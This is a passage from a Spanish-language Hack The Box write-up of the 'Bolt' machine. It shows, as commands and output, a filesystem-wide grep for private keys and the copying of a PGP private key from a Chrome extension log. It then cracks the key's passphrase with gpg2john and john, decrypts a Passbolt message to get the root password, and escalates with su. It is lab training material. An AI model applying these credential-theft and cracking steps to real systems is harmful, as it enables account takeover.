wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
[... snip ... ]
1 row in set (0.00 sec)
mysql>
|
Intentamos desencriptar el mensaje utilizando la clave privada (serverkey_private.asc
) de passbolt pero no es posible.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
|
Email
Enumerando un poco más, fuera de la carpeta principal, encontramos un correo enviado por Clark, en el que habla de una extension de navegador e indica que la clave privada de Eddie es la única forma de recuperar nuestra cuenta, refiriendose al mensaje encriptado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
eddie@bolt:~$ cat /var/mail/eddie
From clark@bolt.htb Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in.
Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
-Clark
eddie@bolt:~$
|
Eddie no tiene ninguna clave registrada por lo que enumeramos la maquina en busqueda de claves privadas. Vemos que hay una coincidencia en el log de una extension de Google Chrome.
1
2
3
4
5
6
7
8
9
10
11
|
eddie@bolt:~$ gpg --list-keys
eddie@bolt:~$
eddie@bolt:~$ grep --color=auto -rnw '/' -ie "PRIVATE KEY" --exclude \*.js --color=always 2> /dev/null
Binary file /opt/google/chrome/nacl_helper matches
Binary file /opt/google/chrome/chrome matches
Binary file /opt/google/chrome/locales/en-GB.pak matches
Binary file /opt/google/chrome/locales/en-US.pak matches
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/data/config-debug.html:150: <h3>Private key</h3>
Binary file /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches
^C
eddie@bolt:~$
|
El archivo tiene mucho texto, copiamos el archivo a nuestra maquina donde vemos que existen dos claves privadas (son las mismas), utilizando sublime text eliminamos los caracteres inecesarios.
1
2
3
4
|
π ~/htb/bolt ❯ scp eddie@10.10.11.114:"/home/eddie/.config/google-chrome/Default/Local\ Extension\ Settings/didegimhafipceonhjepacocaffmoppf/000003.log" . # rT2;jW7<eY8!dX8}pQ8%
eddie@10.10.11.114's password:
000003.log 100% 60KB 48.6KB/s 00:01
π ~/htb/bolt ❯
|
La clave privada esta protegida por una frase.
1
2
3
4
5
6
7
8
9
10
11
12
|
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
[... snip ...]
YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
|
Cracking Hash
Utilizamos gpg2john
para poder crackear el hash obtenido.
1
2
3
4
5
6
7
8
|
π ~/htb/bolt ❯ gpg2john private_eddie
File private_eddie
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::private_eddie
π ~/htb/bolt ❯ gpg2john private_eddie > hash_eddite_private
File private_eddie
π ~/htb/bolt ❯
|
Utilizando john y el wordlist rockyou.txt obtuvimos la frase para la clave privada.
1
2
3
4
5
6
7
8
9
10
11
12
|
π ~/htb/bolt ❯ john hash_eddite_private --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
merrychristmas (Eddie Johnson)
1g 0:00:10:52 DONE (2021-09-29 17:37) 0.001532g/s 65.64p/s 65.64c/s 65.64C/s mhines..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
π ~/htb/bolt ❯
|
Importamos la clave privada ingresando la frase previamente encontrada, finalmente desencriptamos el mensaje, este ultimo muestra una contraseña.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
π ~/htb/bolt ❯ gpg --import private_eddie.gpg
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 1C2741A3DC3B4ABD: public key "Eddie Johnson <eddie@bolt.htb>" imported
gpg: key 1C2741A3DC3B4ABD: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
π ~/htb/bolt ❯
π ~/htb/bolt ❯ gpg --decrypt message.gpg
gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25
"Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
gpg: Signature made Sat 06 Mar 2021 10:33:54 AM EST
gpg: using RSA key 1C2741A3DC3B4ABD
gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E DA0E 1C27 41A3 DC3B 4ABD
π ~/htb/bolt ❯
|
Shell
Obtuvimos una shell como root tras utilizar la contraseña encontrada.
1
2
3
4
5
6
7
8
9
10
11
|
eddie@bolt:~$ su
Password:
root@bolt:/home/eddie# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@bolt:/home/eddie# cd
root@bolt:~# ls
root.txt snap
root@bolt:~# cat root.txt
2f385057198b2610fa64167d08a509b2
root@bolt:~#
|